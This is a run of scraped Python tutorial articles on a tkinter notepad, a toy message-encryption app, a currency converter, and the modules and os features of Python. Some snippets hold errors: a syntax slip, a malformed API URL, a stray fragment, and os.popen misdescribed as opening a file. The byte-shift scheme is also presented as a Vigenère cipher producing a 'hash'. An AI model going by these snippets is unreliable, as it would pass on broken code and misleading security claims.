    self.__thisTextArea.config(yscrollcommand = self.__thisScrollBar.set)

    With this code we will add the menu in the windows of our notepad and will add the things like copy, paste, save etc, to it. 
      
    Adding The Functionality :

    Python




    def __quitApplication(self):
        self.__root.destroy()
        # exit()
     
    def __showAbout(self):
        showinfo("Notepad", "Mrinal Verma")
     
    def __openFile(self):
             
        self.__file = askopenfilename(defaultextension=".txt",
                                      filetypes=[("All Files","*.*"),
                                          ("Text Documents","*.txt")])
     
        if self.__file == "":
     
            # no file to open
            self.__file = None
        else:
            # try to open the file
            # set the window title
            self.__root.title(os.path.basename(self.__file) + " - Notepad")
            self.__thisTextArea.delete(1.0,END)
     
            file = open(self.__file,"r")
     
            self.__thisTextArea.insert(1.0,file.read())
     
            file.close()
     
             
    def __newFile(self):
        self.__root.title("Untitled - Notepad")
        self.__file = None
        self.__thisTextArea.delete(1.0,END)
     
    def __saveFile(self):
     
        if self.__file == None:
            #save as new file
            self.__file = asksaveasfilename(initialfile='Untitled.txt',
                                            defaultextension=".txt",
                                            filetypes=[("All Files","*.*"),
                                                ("Text Documents","*.txt")])
     
            if self.__file == "":
                self.__file = None
            else:
                 
                # try to save the file
                file = open(self.__file,"w")
                file.write(self.__thisTextArea.get(1.0,END))
                file.close()
                # change the window title
                self.__root.title(os.path.basename(self.__file) + " - Notepad")
                     
                 
        else:
            file = open(self.__file,"w")
            file.write(self.__thisTextArea.get(1.0,END))
            file.close()
     
    def __cut(self):
        self.__thisTextArea.event_generate("<<Cut>>")
     
    def __copy(self):
        self.__thisTextArea.event_generate("<<Copy>>")
     
    def __paste(self):
        self.__thisTextArea.event_generate("<<Paste>>")

    In this we have added all the functionality that is required in the notepad, you can add other functionality too in this like the font size, font color, bold, underlined, etc. 

    Main Code After Merging All :

    Python




    import tkinter
    import os   
    from tkinter import *
    from tkinter.messagebox import *
    from tkinter.filedialog import *
     
    class Notepad:
     
        __root = Tk()
     
        # default window width and height
        __thisWidth = 300
        __thisHeight = 300
        __thisTextArea = Text(__root)
        __thisMenuBar = Menu(__root)
        __thisFileMenu = Menu(__thisMenuBar, tearoff=0)
        __thisEditMenu = Menu(__thisMenuBar, tearoff=0)
        __thisHelpMenu = Menu(__thisMenuBar, tearoff=0)
         
        # To add scrollbar
        __thisScrollBar = Scrollbar(__thisTextArea)    
        __file = None
     
        def __init__(self,**kwargs):
     
            # Set icon
            try:
                    self.__root.wm_iconbitmap("Notepad.ico")
            except:
                    pass
     
            # Set window size (the default is 300x300)
     
            try:
                self.__thisWidth = kwargs['width']
            except KeyError:
                pass
     
            try:
                self.__thisHeight = kwargs['height']
            except KeyError:
                pass
     
            # Set the window text
            self.__root.title("Untitled - Notepad")
     
            # Center the window
            screenWidth = self.__root.winfo_screenwidth()
            screenHeight = self.__root.winfo_screenheight()
         
            # For left-align
            left = (screenWidth / 2) - (self.__thisWidth / 2)
             
            # For right-align
            top = (screenHeight / 2) - (self.__thisHeight /2)
             
            # For top and bottom
            self.__root.geometry('%dx%d+%d+%d' % (self.__thisWidth,
                                                  self.__thisHeight,
                                                  left, top))
     
            # To make the textarea auto resizable
            self.__root.grid_rowconfigure(0, weight=1)
            self.__root.grid_columnconfigure(0, weight=1)
     
            # Add controls (widget)
            self.__thisTextArea.grid(sticky = N + E + S + W)
             
            # To open new file
            self.__thisFileMenu.add_command(label="New",
                                            command=self.__newFile)   
             
            # To open a already existing file
            self.__thisFileMenu.add_command(label="Open",
                                            command=self.__openFile)
             
            # To save current file
            self.__thisFileMenu.add_command(label="Save",
                                            command=self.__saveFile)   
     
            # To create a line in the dialog       
            self.__thisFileMenu.add_separator()                                        
            self.__thisFileMenu.add_command(label="Exit",
                                            command=self.__quitApplication)
            self.__thisMenuBar.add_cascade(label="File",
                                           menu=self.__thisFileMenu)    
             
            # To give a feature of cut
            self.__thisEditMenu.add_command(label="Cut",
                                            command=self.__cut)            
         
            # to give a feature of copy   
            self.__thisEditMenu.add_command(label="Copy",
                                            command=self.__copy)        
             
            # To give a feature of paste
            self.__thisEditMenu.add_command(label="Paste",
                                            command=self.__paste)        
             
            # To give a feature of editing
            self.__thisMenuBar.add_cascade(label="Edit",
                                           menu=self.__thisEditMenu)    
             
            # To create a feature of description of the notepad
            self.__thisHelpMenu.add_command(label="About Notepad",
                                            command=self.__showAbout)
            self.__thisMenuBar.add_cascade(label="Help",
                                           menu=self.__thisHelpMenu)
     
            self.__root.config(menu=self.__thisMenuBar)
     
            self.__thisScrollBar.pack(side=RIGHT,fill=Y)                   
             
            # Scrollbar will adjust automatically according to the content       
            self.__thisScrollBar.config(command=self.__thisTextArea.yview)    
            self.__thisTextArea.config(yscrollcommand=self.__thisScrollBar.set)
         
             
        def __quitApplication(self):
            self.__root.destroy()
            # exit()
     
        def __showAbout(self):
            showinfo("Notepad","Mrinal Verma")
     
        def __openFile(self):
             
            self.__file = askopenfilename(defaultextension=".txt",
                                          filetypes=[("All Files","*.*"),
                                            ("Text Documents","*.txt")])
     
            if self.__file == "":
                 
                # no file to open
                self.__file = None
            else:
                 
                # Try to open the file
                # set the window title
                self.__root.title(os.path.basename(self.__file) + " - Notepad")
                self.__thisTextArea.delete(1.0,END)
     
                file = open(self.__file,"r")
     
                self.__thisTextArea.insert(1.0,file.read())
     
                file.close()
     
             
        def __newFile(self):
            self.__root.title("Untitled - Notepad")
            self.__file = None
            self.__thisTextArea.delete(1.0,END)
     
        def __saveFile(self):
     
            if self.__file == None:
                # Save as new file
                self.__file = asksaveasfilename(initialfile='Untitled.txt',
                                                defaultextension=".txt",
                                                filetypes=[("All Files","*.*"),
                                                    ("Text Documents","*.txt")])
     
                if self.__file == "":
                    self.__file = None
                else:
                     
                    # Try to save the file
                    file = open(self.__file,"w")
                    file.write(self.__thisTextArea.get(1.0,END))
                    file.close()
                     
                    # Change the window title
                    self.__root.title(os.path.basename(self.__file) + " - Notepad")
                     
                 
            else:
                file = open(self.__file,"w")
                file.write(self.__thisTextArea.get(1.0,END))
                file.close()
     
        def __cut(self):
            self.__thisTextArea.event_generate("<<Cut>>")
     
        def __copy(self):
            self.__thisTextArea.event_generate("<<Copy>>")
     
        def __paste(self):
            self.__thisTextArea.event_generate("<<Paste>>")
     
        def run(self):
     
            # Run main application
            self.__root.mainloop()
     
     
     
     
    # Run main application
    notepad = Notepad(width=600,height=400)
    notepad.run()

    To run this code, save it by the extension .py and then open cmd(command prompt) and move to the location of the file saved and then write the following 

    python "filename".py 

    and press enter and it will run. Or can be run directly by simply double clicking your .py extension file.
     

     


    My Personal Notes arrow_drop_up

    Python | Message Encode-Decode using Tkinter

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 06 Jul, 2021

    Prerequisite : Basics of Tkinter
    Python offers multiple options for developing GUI (Graphical User Interface). Out of all the GUI methods, tkinter is most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with tkinter outputs the fastest and easiest way to create the GUI applications. 
    Python provides the Tkinter toolkit to develop GUI applications. Now, it’s upto the imagination or necessity of developer, what he/she want to develop using this toolkit. Let’s try to implement a message encryption-decryption application according to the Vigenère cipher, which can encrypt the message using the key and can decrypt the encrypted hash using same key.
     

    Modules used in the project :
    
    Tkinter  -> GUI toolkittime datetime  base64   -> Vigenère cipher

    Below is the implementation of above idea : 
     

    Python3




    # import tkinter module
    from tkinter import *
     
    # import other necessary modules
    import random
    import time
    import datetime
     
    # creating root object
    root = Tk()
     
    # defining size of window
    root.geometry("1200x6000")
     
    # setting up the title of window
    root.title("Message Encryption and Decryption")
     
    Tops = Frame(root, width = 1600, relief = SUNKEN)
    Tops.pack(side = TOP)
     
    f1 = Frame(root, width = 800, height = 700,
                                relief = SUNKEN)
    f1.pack(side = LEFT)
     
    # ==============================================
    #                  TIME
    # ==============================================
    localtime = time.asctime(time.localtime(time.time()))
     
    lblInfo = Label(Tops, font = ('helvetica', 50, 'bold'),
              text = "SECRET MESSAGING \n Vigenère cipher",
                         fg = "Black", bd = 10, anchor='w')
                          
    lblInfo.grid(row = 0, column = 0)
     
    lblInfo = Label(Tops, font=('arial', 20, 'bold'),
                 text = localtime, fg = "Steel Blue",
                               bd = 10, anchor = 'w')
                             
    lblInfo.grid(row = 1, column = 0)
     
    rand = StringVar()
    Msg = StringVar()
    key = StringVar()
    mode = StringVar()
    Result = StringVar()
     
    # exit function
    def qExit():
        root.destroy()
     
    # Function to reset the window
    def Reset():
        rand.set("")
        Msg.set("")
        key.set("")
        mode.set("")
        Result.set("")
     
     
    # reference
    lblReference = Label(f1, font = ('arial', 16, 'bold'),
                    text = "Name:", bd = 16, anchor = "w")
                     
    lblReference.grid(row = 0, column = 0)
     
    txtReference = Entry(f1, font = ('arial', 16, 'bold'),
                   textvariable = rand, bd = 10, insertwidth = 4,
                            bg = "powder blue", justify = 'right')
                             
    txtReference.grid(row = 0, column = 1)
     
    # labels
    lblMsg = Label(f1, font = ('arial', 16, 'bold'),
             text = "MESSAGE", bd = 16, anchor = "w")
              
    lblMsg.grid(row = 1, column = 0)
     
    txtMsg = Entry(f1, font = ('arial', 16, 'bold'),
             textvariable = Msg, bd = 10, insertwidth = 4,
                    bg = "powder blue", justify = 'right')
                     
    txtMsg.grid(row = 1, column = 1)
     
    lblkey = Label(f1, font = ('arial', 16, 'bold'),
                text = "KEY", bd = 16, anchor = "w")
                 
    lblkey.grid(row = 2, column = 0)
     
    txtkey = Entry(f1, font = ('arial', 16, 'bold'),
             textvariable = key, bd = 10, insertwidth = 4,
                    bg = "powder blue", justify = 'right')
                     
    txtkey.grid(row = 2, column = 1)
     
    lblmode = Label(f1, font = ('arial', 16, 'bold'),
              text = "MODE(e for encrypt, d for decrypt)",
                                    bd = 16, anchor = "w")
                                     
    lblmode.grid(row = 3, column = 0)
     
    txtmode = Entry(f1, font = ('arial', 16, 'bold'),
              textvariable = mode, bd = 10, insertwidth = 4,
                      bg = "powder blue", justify = 'right')
                       
    txtmode.grid(row = 3, column = 1)
     
    lblService = Label(f1, font = ('arial', 16, 'bold'),
                 text = "The Result-", bd = 16, anchor = "w")
                  
    lblService.grid(row = 2, column = 2)
     
    txtService = Entry(f1, font = ('arial', 16, 'bold'),
                 textvariable = Result, bd = 10, insertwidth = 4,
                           bg = "powder blue", justify = 'right')
                            
    txtService.grid(row = 2, column = 3)
     
    # Vigenère cipher
    import base64
     
    # Function to encode
    def encode(key, clear):
        enc = []
         
        for i in range(len(clear)):
            key_c = key[i % len(key)]
            enc_c = chr((ord(clear[i]) +
                         ord(key_c)) % 256)
                          
            enc.append(enc_c)
             
        return base64.urlsafe_b64encode("".join(enc).encode()).decode()
     
    # Function to decode
    def decode(key, enc):
        dec = []
         
        enc = base64.urlsafe_b64decode(enc).decode()
        for i in range(len(enc)):
            key_c = key[i % len(key)]
            dec_c = chr((256 + ord(enc[i]) -
                               ord(key_c)) % 256)
                                
            dec.append(dec_c)
        return "".join(dec)
     
     
    def Ref():
        print("Message= ", (Msg.get()))
     
        clear = Msg.get()
        k = key.get()
        m = mode.get()
     
        if (m == 'e'):
            Result.set(encode(k, clear))
        else:
            Result.set(decode(k, clear))
     
    # Show message button
    btnTotal = Button(f1, padx = 16, pady = 8, bd = 16, fg = "black",
                            font = ('arial', 16, 'bold'), width = 10,
                           text = "Show Message", bg = "powder blue",
                             command = Ref).grid(row = 7, column = 1)
     
    # Reset button
    btnReset = Button(f1, padx = 16, pady = 8, bd = 16,
                      fg = "black", font = ('arial', 16, 'bold'),
                        width = 10, text = "Reset", bg = "green",
                       command = Reset).grid(row = 7, column = 2)
     
    # Exit button
    btnExit = Button(f1, padx = 16, pady = 8, bd = 16,
                     fg = "black", font = ('arial', 16, 'bold'),
                          width = 10, text = "Exit", bg = "red",
                      command = qExit).grid(row = 7, column = 3)
     
    # keeps window alive
    root.mainloop()

    Output : 
    Encrypt Window – 
     

    Decrypt Window – 
     

     


    My Personal Notes arrow_drop_up

    Python | Real time currency convertor using Tkinter

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 09 Jun, 2021

    Prerequisites : Introduction to tkinter | Get the real time currency exchange rate
    Python offers multiple options for developing GUI (Graphical User Interface). Out of all the GUI methods, tkinter is the most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with tkinter outputs the fastest and easiest way to create the GUI applications. 

    To create a tkinter : 

    Let’s create a GUI based simple Real-time currency convertor (Using Alpha Vantage API) which can convert amounts from one currency to another currency.

    Modules required:  

    tkinter
    requests
    json

    Below is the implementation : 

    Python3




    # import all functions from the tkinter
    from tkinter import *
     
    # Create a GUI window
    root = Tk()
     
    # create a global variables
    variable1 = StringVar(root)
    variable2 = StringVar(root)
     
    # initialise the variables
    variable1.set("currency")
    variable2.set("currency")
     
         
    # Function to perform real time conversion
    # from one currency to another currency
    def RealTimeCurrencyConversion():
     
        # importing required libraries
        import requests, json
     
        # currency code
        from_currency = variable1.get()
        to_currency = variable2.get()
     
        # enter your api key here
        api_key = "Your_Api_Key"
         
        # base_url variable store base url
        base_url = r"https://www.alphavantage.co/query?function = CURRENCY_EXCHANGE_RATE"
     
        # main_url variable store complete url
        main_url = base_url + "&from_currency =" + from_currency +
            "&to_currency =" + to_currency + "&apikey =" + api_key
     
        # get method of requests module
        # return response object
        req_ob = requests.get(main_url)
     
        # json method return json format
        # data into python dictionary data type.
         
        # result contains list of nested dictionaries
        result = req_ob.json()
     
        # parsing the required information
        Exchange_Rate = float(result["Realtime Currency Exchange Rate"]
                                                  ['5. Exchange Rate'])
     
        # get method of Entry widget
        # returns current text  as a
        # string from text entry box.
        amount = float(Amount1_field.get())
     
        # calculation for the conversion
        new_amount = round(amount * Exchange_Rate, 3)
     
        # insert method inserting the
        # value in the text entry box.
        Amount2_field.insert(0, str(new_amount))
     
     
    # Function for clearing the Entry field
    def clear_all() :
        Amount1_field.delete(0, END)
        Amount2_field.delete(0, END)
        
     
    # Driver code
    if __name__ == "__main__" :
     
        # Set the background colour of GUI window
        root.configure(background = 'light green')
       
        # Set the configuration of GUI window (WidthxHeight)
        root.geometry("400x175")
       
        # Create welcome to Real Time Currency Convertor label
        headlabel = Label(root, text = 'welcome to Real Time Currency Convertor',
                          fg = 'black', bg = "red")
     
        # Create a "Amount :" label
        label1 = Label(root, text = "Amount :",
                     fg = 'black', bg = 'dark green')
         
        # Create a "From Currency :" label
        label2 = Label(root, text = "From Currency",
                       fg = 'black', bg = 'dark green')
       
        # Create a "To Currency: " label
        label3 = Label(root, text = "To Currency :",
                       fg = 'black', bg = 'dark green')
     
        # Create a "Converted Amount :" label
        label4 = Label(root, text = "Converted Amount :",
                       fg = 'black', bg = 'dark green')
     
        # grid method is used for placing
        # the widgets at respective positions
        # in table like structure . 
        headlabel.grid(row = 0, column = 1)
        label1.grid(row = 1, column = 0)
        label2.grid(row = 2, column = 0)
        label3.grid(row = 3, column = 0)
        label4.grid(row = 5, column = 0)
         
        # Create a text entry box
        # for filling or typing the information.
        Amount1_field = Entry(root)
        Amount2_field = Entry(root)
          
        # ipadx keyword argument set width of entry space.
        Amount1_field.grid(row = 1, column = 1, ipadx ="25")
        Amount2_field.grid(row = 5, column = 1, ipadx ="25")
     
        # list of currency codes
        CurrenyCode_list = ["INR", "USD", "CAD", "CNY", "DKK", "EUR"]
     
        # create a drop down menu using OptionMenu function
        # which takes window name, variable and choices as
        # an argument. use * before the name of the list,
        # to unpack the values
        FromCurrency_option = OptionMenu(root, variable1, *CurrenyCode_list)
        ToCurrency_option = OptionMenu(root, variable2, *CurrenyCode_list)
         
        FromCurrency_option.grid(row = 2, column = 1, ipadx = 10)
        ToCurrency_option.grid(row = 3, column = 1, ipadx = 10)
         
        # Create a Convert Button and attached
        # with RealTimeCurrencyExchangeRate function
        button1 = Button(root, text = "Convert", bg = "red", fg = "black",
                                    command = RealTimeCurrencyConversion)
         
        button1.grid(row = 4, column = 1)
     
        # Create a Clear Button and attached
        # with delete function
        button2 = Button(root, text = "Clear", bg = "red",
                         fg = "black", command = clear_all)
        button2.grid(row = 6, column = 1)
       
        # Start the GUI
        root.mainloop()

    Output : 
     

    output1

     

    output2

     


    My Personal Notes arrow_drop_up

    Python Modules

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 21 Jan, 2022

    A Python module is a file containing Python definitions and statements. A module can define functions, classes, and variables. A module can also include runnable code. Grouping related code into a module makes the code easier to understand and use. It also makes the code logically organized.

    Example: create a simple module

    Python3




    # A simple module, calc.py
     
    def add(x, y):
        return (x+y)
     
    def subtract(x, y):
        return (x-y)

    Import Module in Python –  Import statement

    We can import the functions, classes defined in a module to another module using the import statement in some other Python source file. 

    Syntax:

    import module

    When the interpreter encounters an import statement, it imports the module if the module is present in the search path. A search path is a list of directories that the interpreter searches for importing a module. For example, to import the module calc.py, we need to put the following command at the top of the script.

    Note: This does not import the functions or classes directly instead imports the module only. To access the functions inside the module the dot(.) operator is used.

    Example: Importing modules in Python

    Python3




    # importing  module calc.py
    import calc
     
    print(calc.add(10, 2))

    Output:

    12

    The from import Statement 

    Python’s from statement lets you import specific attributes from a module without importing the module as a whole.

    Example: Importing specific attributes from the module

    Python3




    # importing sqrt() and factorial from the
    # module math
    from math import sqrt, factorial
     
    # if we simply do "import math", then
    # math.sqrt(16) and math.factorial()
    # are required.
    print(sqrt(16))
    print(factorial(6))

    Output: 

    4.0
    720

    Import all Names – From import *  Statement

    The * symbol used with the from import statement is used to import all the names from a module to a current namespace.

    Syntax:

    from module_name import *

    The use of * has its advantages and disadvantages. If you know exactly what you will be needing from the module, it is not recommended to use *, else do so.

    Example: Importing all names

    Python3




    # importing sqrt() and factorial from the
    # module math
    from math import *
     
    # if we simply do "import math", then
    # math.sqrt(16) and math.factorial()
    # are required.
    print(sqrt(16))
    print(factorial(6))
    Output
    4.0
    720

    Locating Modules

    Whenever a module is imported in Python the interpreter looks for several locations. First, it will check for the built-in module, if not found then it looks for a list of directories defined in the sys.path. Python interpreter searches for the module in the following manner –

    Example: Directories List for Modules

    Python3




    # importing sys module
    import sys
     
    # importing sys.path
    print(sys.path)

    Output:

    [‘/home/nikhil/Desktop/gfg’, ‘/usr/lib/python38.zip’, ‘/usr/lib/python3.8’, ‘/usr/lib/python3.8/lib-dynload’, ”, ‘/home/nikhil/.local/lib/python3.8/site-packages’, ‘/usr/local/lib/python3.8/dist-packages’, ‘/usr/lib/python3/dist-packages’, ‘/usr/local/lib/python3.8/dist-packages/IPython/extensions’, ‘/home/nikhil/.ipython’]

    Importing and renaming module

    We can rename the module while importing it using the as keyword. 

    Example: Renaming the module

    Python3




    # importing sqrt() and factorial from the
    # module math
    import math as gfg
     
    # if we simply do "import math", then
    # math.sqrt(16) and math.factorial()
    # are required.
    print(gfg.sqrt(16))
    print(gfg.factorial(6))
    Output
    4.0
    720

    The dir() function

    The dir() built-in function returns a sorted list of strings containing the names defined by a module. The list contains the names of all the modules, variables, and functions that are defined in a module.

    Python3




    #  Import built-in module  random
    import  random
    print(dir(random))

     
     

    Output:

     

    [‘BPF’, ‘LOG4’, ‘NV_MAGICCONST’, ‘RECIP_BPF’, ‘Random’, ‘SG_MAGICCONST’, ‘SystemRandom’, ‘TWOPI’, ‘_BuiltinMethodType’, ‘_MethodType’, ‘_Sequence’, ‘_Set’, ‘__all__’, ‘__builtins__’, ‘__cached__’, ‘__doc__’, ‘__file__’, ‘__loader__’, ‘__name__’, ‘__package__’, ‘__spec__’, ‘_acos’, ‘_bisect’, ‘_ceil’, ‘_cos’, ‘_e’, ‘_exp’, ‘_inst’, ‘_itertools’, ‘_log’, ‘_pi’, ‘_random’, ‘_sha512’, ‘_sin’, ‘_sqrt’, ‘_test’, ‘_test_generator’, ‘_urandom’, ‘_warn’, ‘betavariate’, ‘choice’, ‘choices’, ‘expovariate’, ‘gammavariate’, ‘gauss’, ‘getrandbits’, ‘getstate’, ‘lognormvariate’, ‘normalvariate’, ‘paretovariate’, ‘randint’, ‘random’, ‘randrange’, ‘sample’, ‘seed’, ‘setstate’, ‘shuffle’, ‘triangular’, ‘uniform’, ‘vonmisesvariate’, ‘weibullvariate’]

    Code Snippet illustrating python built-in modules: 

     

    Python3




    # importing built-in module math
    import math
     
    # using square root(sqrt) function contained
    # in math module
    print(math.sqrt(25))
     
    # using pi function contained in math module
    print(math.pi)
     
    # 2 radians = 114.59 degrees
    print(math.degrees(2)) 
     
    # 60 degrees = 1.04 radians
    print(math.radians(60)) 
     
    # Sine of 2 radians
    print(math.sin(2)) 
     
    # Cosine of 0.5 radians
    print(math.cos(0.5)) 
     
    # Tangent of 0.23 radians
    print(math.tan(0.23))
     
    # 1 * 2 * 3 * 4 = 24
    print(math.factorial(4)) 
     
    # importing built in module random
    import random
     
    # printing random integer between 0 and 5
    print(random.randint(0, 5)) 
     
    # print random floating point number between 0 and 1
    print(random.random()) 
     
    # random number between 0 and 100
    print(random.random() * 100
     
    List = [1, 4, True, 800, "python", 27, "hello"]
     
    # using choice function in random module for choosing
    # a random element from a set such as a list
    print(random.choice(List))
     
     
    # importing built in module datetime
    import datetime
    from datetime import date
    import time
     
    # Returns the number of seconds since the
    # Unix Epoch, January 1st 1970
    print(time.time()) 
     
    # Converts a number of seconds to a date object
    print(date.fromtimestamp(454554)) 

    Output:

    5.0
    3.14159265359
    114.591559026
    1.0471975512
    0.909297426826
    0.87758256189
    0.234143362351
    24
    3
    0.401533172951
    88.4917616788
    True
    1461425771.87
    1970-01-06
     

    This article is contributed by Gaurav Shrestha. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.


    My Personal Notes arrow_drop_up

    OS Module in Python with Examples

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 25 Jan, 2022

    The OS module in Python provides functions for interacting with the operating system. OS comes under Python’s standard utility modules. This module provides a portable way of using operating system-dependent functionality. The *os* and *os.path* modules include many functions to interact with the file system.
     

    Handling the Current Working Directory

    Consider Current Working Directory(CWD) as a folder, where the Python is operating. Whenever the files are called only by their name, Python assumes that it starts in the CWD which means that name-only reference will be successful only if the file is in the Python’s CWD.
    Note: The folder where the Python script is running is known as the Current Directory. This is not the path where the Python script is located.
    Getting the Current working directory
    To get the location of the current working directory os.getcwd() is used.
     

    Example:

    Python3




    # Python program to explain os.getcwd() method
             
    # importing os module
    import os
         
    # Get the current working
    # directory (CWD)
    cwd = os.getcwd()
         
    # Print the current working
    # directory (CWD)
    print("Current working directory:", cwd)

    Output:

    Current working directory: /home/nikhil/Desktop/gfg

    Changing the Current working directory

    To change the current working directory(CWD) os.chdir() method is used. This method changes the CWD to a specified path. It only takes a single argument as a new directory path.
     

    Note: The current working directory is the folder in which the Python script is operating.
     

    Example:

    Python3




    # Python program to change the
    # current working directory
       
       
    import os
       
    # Function to Get the current 
    # working directory
    def current_path():
        print("Current working directory before")
        print(os.getcwd())
        print()
       
       
    # Driver's code
    # Printing CWD before
    current_path()
       
    # Changing the CWD
    os.chdir('../')
       
    # Printing CWD after
    current_path()

    Output:

    Current working directory before
    C:\Users\Nikhil Aggarwal\Desktop\gfg
    
    Current working directory after
    C:\Users\Nikhil Aggarwal\Desktop

     

    Creating a Directory

    There are different methods available in the OS module for creating a directory. These are –

    Using os.mkdir()

    os.mkdir() method in Python is used to create a directory named path with the specified numeric mode. This method raises FileExistsError if the directory to be created already exists.
     

    Example: 

    Python3




    # Python program to explain os.mkdir() method
     
    # importing os module
    import os
     
    # Directory
    directory = "GeeksforGeeks"
     
    # Parent Directory path
    parent_dir = "D:/Pycharm projects/"
     
    # Path
    path = os.path.join(parent_dir, directory)
     
    # Create the directory
    # 'GeeksForGeeks' in
    # '/home / User / Documents'
    os.mkdir(path)
    print("Directory '% s' created" % directory)
     
    # Directory
    directory = "Geeks"
     
    # Parent Directory path
    parent_dir = "D:/Pycharm projects"
     
    # mode
    mode = 0o666
     
    # Path
    path = os.path.join(parent_dir, directory)
     
    # Create the directory
    # 'GeeksForGeeks' in
    # '/home / User / Documents'
    # with mode 0o666
    os.mkdir(path, mode)
    print("Directory '% s' created" % directory)

    Output:

    Directory 'GeeksforGeeks' created
    Directory 'Geeks' created

    Using os.makedirs()

    os.makedirs() method in Python is used to create a directory recursively. That means while making leaf directory if any intermediate-level directory is missing, os.makedirs() method will create them all.
     

    Example: 

    Python3




    # Python program to explain os.makedirs() method
         
    # importing os module
    import os
         
    # Leaf directory
    directory = "Nikhil"
         
    # Parent Directories
    parent_dir = "D:/Pycharm projects/GeeksForGeeks/Authors"
         
    # Path
    path = os.path.join(parent_dir, directory)
         
    # Create the directory
    # 'Nikhil'
    os.makedirs(path)
    print("Directory '% s' created" % directory)
         
    # Directory 'GeeksForGeeks' and 'Authors' will
    # be created too
    # if it does not exists
         
         
         
    # Leaf directory
    directory = "c"
         
    # Parent Directories
    parent_dir = "D:/Pycharm projects/GeeksforGeeks/a/b"
         
    # mode
    mode = 0o666
         
    path = os.path.join(parent_dir, directory)
         
    # Create the directory 'c'
         
    os.makedirs(path, mode)
    print("Directory '% s' created" % directory)
         
         
    # 'GeeksForGeeks', 'a', and 'b'
    # will also be created if
    # it does not exists
         
    # If any of the intermediate level
    # directory is missing
    # os.makedirs() method will
    # create them
         
    # os.makedirs() method can be
    # used to create a directory tree

    Output:

    Directory 'Nikhil' created
    Directory 'c' created

    Listing out Files and Directories with Python

    os.listdir() method in Python is used to get the list of all files and directories in the specified directory. If we don’t specify any directory, then the list of files and directories in the current working directory will be returned.
     

    Example:

    Python3




    # Python program to explain os.listdir() method
         
    # importing os module
    import os
     
    # Get the list of all files and directories
    # in the root directory
    path = "/"
    dir_list = os.listdir(path)
     
    print("Files and directories in '", path, "' :")
     
    # print the list
    print(dir_list)

    Output:

    Files and directories in ' / ' :
    ['sys', 'run', 'tmp', 'boot', 'mnt', 'dev', 'proc', 'var', 'bin', 'lib64', 'usr', 
    'lib', 'srv', 'home', 'etc', 'opt', 'sbin', 'media']

     

    Deleting Directory or Files using Python

    OS module proves different methods for removing directories and files in Python. These are – 

    Using os.remove()

    os.remove() method in Python is used to remove or delete a file path. This method can not remove or delete a directory. If the specified path is a directory then OSError will be raised by the method.
     

    Example: Suppose the file contained in the folder are:
     

    Python3




    # Python program to explain os.remove() method
         
    # importing os module
    import os
         
    # File name
    file = 'file1.txt'
         
    # File location
    location = "D:/Pycharm projects/GeeksforGeeks/Authors/Nikhil/"
         
    # Path
    path = os.path.join(location, file)
         
    # Remove the file
    # 'file.txt'
    os.remove(path)
    e)

    Output:

    Using os.rmdir()

    os.rmdir() method in Python is used to remove or delete an empty directory. OSError will be raised if the specified path is not an empty directory.
     

    Example: Suppose the directories are 

    Python3




    # Python program to explain os.rmdir() method
         
    # importing os module
    import os
         
    # Directory name
    directory = "Geeks"
         
    # Parent Directory
    parent = "D:/Pycharm projects/"
         
    # Path
    path = os.path.join(parent, directory)
         
    # Remove the Directory
    # "Geeks"
    os.rmdir(path)

    Output:

     

    Commonly Used Functions

    1. os.name: This function gives the name of the operating system dependent module imported. The following names have currently been registered: ‘posix’, ‘nt’, ‘os2’, ‘ce’, ‘java’ and ‘riscos’.

    Python3




    import os
     
    print(os.name)

    Output:

    posix

    Note: It may give different output on different interpreters, such as ‘posix’ when you run the code here.
     

    2. os.error: All functions in this module raise OSError in the case of invalid or inaccessible file names and paths, or other arguments that have the correct type, but are not accepted by the operating system. os.error is an alias for built-in OSError exception. 

    Python3




    import os
     
     
    try:
        # If the file does not exist,
        # then it would throw an IOError
        filename = 'GFG.txt'
        f = open(filename, 'rU')
        text = f.read()
        f.close()
     
    # Control jumps directly to here if
    # any of the above lines throws IOError.   
    except IOError:
     
        # print(os.error) will <class 'OSError'>
        print('Problem reading: ' + filename)
         
    # In any case, the code then continues with
    # the line after the try/except

    Output: 

    Problem reading: GFG.txt

     
    3. os.popen(): This method opens a pipe to or from command. The return value can be read or written depending on whether the mode is ‘r’ or ‘w’. 
    Syntax: 

     os.popen(command[, mode[, bufsize]])

    Parameters mode & bufsize are not necessary parameters, if not provided, default ‘r’ is taken for mode. 

    Python3




    import os
    fd = "GFG.txt"
     
    # popen() is similar to open()
    file = open(fd, 'w')
    file.write("Hello")
    file.close()
    file = open(fd, 'r')
    text = file.read()
    print(text)
     
    # popen() provides a pipe/gateway and accesses the file directly
    file = os.popen(fd, 'w')
    file.write("Hello")
    # File not closed, shown in next function.

    Output: 

    Hello

    Note: Output for popen() will not be shown, there would be direct changes into the file.
     

    4. os.close(): Close file descriptor fd. A file opened using open(), can be closed by close()only. But file opened through os.popen(), can be closed with close() or os.close(). If we try closing a file opened with open(), using os.close(), Python would throw TypeError. 

    Python3




    import os
     
     
    fd = "GFG.txt"
    file = open(fd, 'r')
    text = file.read()
    print(text)
    os.close(file)

    Output: 

    Traceback (most recent call last):
      File "C:\Users\GFG\Desktop\GeeksForGeeksOSFile.py", line 6, in 
        os.close(file)
    TypeError: an integer is required (got type _io.TextIOWrapper)

    Note: The same error may not be thrown, due to the non-existent file or permission privilege.
     

    5. os.rename(): A file old.txt can be renamed to new.txt, using the function os.rename(). The name of the file changes only if, the file exists and the user has sufficient privilege permission to change the file.

    Python




    import os
     
     
    fd = "GFG.txt"
    os.rename(fd,'New.txt')
    os.rename(fd,'New.txt')

    Output:

    Traceback (most recent call last):
      File "C:\Users\GFG\Desktop\ModuleOS\GeeksForGeeksOSFile.py", line 3, in 
        os.rename(fd,'New.txt')
    FileNotFoundError: [WinError 2] The system cannot find the
    file specified: 'GFG.txt' -> 'New.txt'

